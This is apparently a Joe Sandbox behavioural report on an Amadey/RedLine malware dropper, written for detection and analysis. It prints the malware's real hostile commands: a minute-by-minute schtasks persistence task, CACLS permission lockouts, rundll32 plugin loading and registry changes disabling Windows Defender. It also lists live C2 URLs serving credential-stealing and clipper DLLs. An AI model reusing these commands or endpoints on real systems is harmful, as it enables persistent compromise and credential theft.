Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC0D90 mov eax, dword ptr fs:[00000030h]	2_2_01FC0D90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_0018A9A1 mov eax, dword ptr fs:[00000030h]	8_2_0018A9A1
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_0018CFB2 mov eax, dword ptr fs:[00000030h]	8_2_0018CFB2

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Code function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0040CE09

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Code function: 2_2_0040ADB0 GetProcessHeap,HeapFree,

2_2_0040ADB0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C6F40 SetUnhandledExceptionFilter,	0_2_010C6F40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C6CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_010C6CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_01096F40 SetUnhandledExceptionFilter,	1_2_01096F40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_01096CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_01096CF0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040CE09
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040E61C
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00416F6A
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_004123F1 SetUnhandledExceptionFilter,	2_2_004123F1
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FD71D1 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_01FD71D1
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FCE883 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_01FCE883
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FCD070 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_01FCD070
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FD2658 SetUnhandledExceptionFilter,	2_2_01FD2658
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_00187A74 SetUnhandledExceptionFilter,	8_2_00187A74
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_0018790F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0018790F
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_00187208 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00187208
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_0018BB20 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0018BB20

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 8_2_001738C0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

8_2_001738C0

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010C18A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_010C18A3

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: GetLocaleInfoA,		2_2_00417A20
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: GetLocaleInfoA,		2_2_01FD7C87

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 8_2_00187AFC cpuid

8_2_00187AFC

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010C7176 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_010C7176

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Code function: 8_2_00193C76 _free,_free,_free,GetTimeZoneInformation,_free,

8_2_00193C76

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

Code function: 7_2_00007FF9A793077D GetUserNameA,

7_2_00007FF9A793077D

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010C2BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_010C2BFB

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableIOAVProtection 1

Jump to behavior

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 2.2.ajAf.exe.1fc0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.ajAf.exe.1ff0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ajAf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ajAf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.390341867.0000000001FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 9.2.mnolyk.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.4aa7620.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.xriv.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.mnolyk.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.xriv.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.mnolyk.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.mnolyk.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.4aa7620.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.827977648.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.443338469.0000000000171000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.307249151.0000000004A44000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.445122215.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.452140965.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.451650195.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, type: DROPPED

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000009.00000002.827863468.0000000000A72000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.827863468.00000000009FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.581791427.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.827863468.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.581742963.0000000000A72000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.581742963.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.827863468.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 20.2.rundll32.exe.6e7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 2.2.ajAf.exe.1fc0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.ajAf.exe.1ff0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ajAf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ajAf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.390341867.0000000001FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 Windows Service	2 Bypass User Access Control	21 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	14 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Service Execution	1 Services File Permissions Weakness	111 Process Injection	2 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	113 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	13 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	1 Registry Run Keys / Startup Folder	2 Bypass User Access Control	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	1 Services File Permissions Weakness	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	21 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Access Token Manipulation	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	111 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Services File Permissions Weakness	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	1 Rundll32	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	67%	ReversingLabs	Win32.Trojan.Amadey
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll	81%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	81%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	51%	ReversingLabs	Win32.Trojan.Tedy
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	81%	ReversingLabs	Win32.Spyware.RedLine
C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	39%	ReversingLabs	Win32.Ransomware.Stop
C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	82%	ReversingLabs	ByteCode-MSIL.Trojan.Disabler
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	81%	ReversingLabs	Win32.Trojan.Amadey

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://62.204.41.4/Gol478Ns/index.php	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	0%	Avira URL Cloud	safe
62.204.41.4/Gol478Ns/index.php	0%	Avira URL Cloud	safe
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.204.41.4/Gol478Ns/Plugins/cred64.dll	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	true	Avira URL Cloud: malware	unknown
62.204.41.4/Gol478Ns/index.php	true	Avira URL Cloud: safe	low
http://62.204.41.4/Gol478Ns/index.php	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.204.41.4	unknown	United Kingdom		30798	TNNET-ASTNNetOyMainnetworkFI	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	799407
Start date and time:	2023-02-06 14:14:23 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@34/14@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 41.3% (good quality ratio 39.6%) Quality average: 84.9% Quality standard deviation: 24.3%
HCA Information:	Successful, ratio: 93% Number of executed functions: 100 Number of non-executed functions: 138
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:16:28	API Interceptor	2034x Sleep call for process: mnolyk.exe modified
14:16:29	Task Scheduler	Run new task: mnolyk.exe path: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
62.204.41.4	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	QEb6ybdVBd.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	9U2j7fIA6J.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TNNET-ASTNNetOyMainnetworkFI	d5Mz8LcQ40.exe	Get hash	malicious	Browse	62.204.41.5
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	4tZ5R2O8ru.exe	Get hash	malicious	Browse	62.204.41.5
	Z7MMw0PTfb.exe	Get hash	malicious	Browse	62.204.41.5
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	cGvwe523RO.exe	Get hash	malicious	Browse	62.204.41.170
	file.exe	Get hash	malicious	Browse	62.204.41.4
	9Nn6GvGMz1.exe	Get hash	malicious	Browse	62.204.41.170
	07wuYH0G0l.exe	Get hash	malicious	Browse	62.204.41.170
	ekFLwb11nN.exe	Get hash	malicious	Browse	62.204.41.170
	AGjUlMBhkD.exe	Get hash	malicious	Browse	62.204.41.5
	ljzIqZX3B5.exe	Get hash	malicious	Browse	62.204.41.170
	Zd6uw4sOLV.exe	Get hash	malicious	Browse	62.204.41.5
	89iZUBE2nX.exe	Get hash	malicious	Browse	62.204.41.170
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	QEb6ybdVBd.exe	Get hash	malicious	Browse
	9U2j7fIA6J.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nika.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.354940450065058
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2wlAsDZiIv:Q3La/KDLI4MWuPTxAIv
MD5:	B10E37251C5B495643F331DB2EEC3394
SHA1:	25A5FFE4C2554C2B9A7C2794C9FE215998871193
SHA-256:	8A6B926C70F8DCFD915D68F167A1243B9DF7B9F642304F570CE584832D12102D
SHA-512:	296BC182515900934AA96E996FC48B565B7857801A07FEFA0D3D1E0C165981B266B084E344DB5B53041D1171F9C6708B4EE0D444906391C4FC073BCC23B92C37
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ajAf.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.355221377978991
Encrypted:	false
SSDEEP:	6:Q3La/xwchM3RJoDLIP12MUAvvR+uCqDLIP12MUAvvR+uTL2LDY3U21v:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21v
MD5:	03C5BA5FCE7124B503EA65EF522177C3
SHA1:	F76B1F538D5EA66664355901E927B2F870ACCDD8
SHA-256:	8128CE419BBE0419F1A0BDE97C3A14E3377C0184DC1D7AF61AA01AAB756B625B
SHA-512:	151A974DDABA852144EC4BC18C548227A32E5261736F186A3920F2497434AEE9DBB0E0AB77E0E52A84A9FBC4529A158882B7549763400DDC2082D384B1135141
Malicious:	false
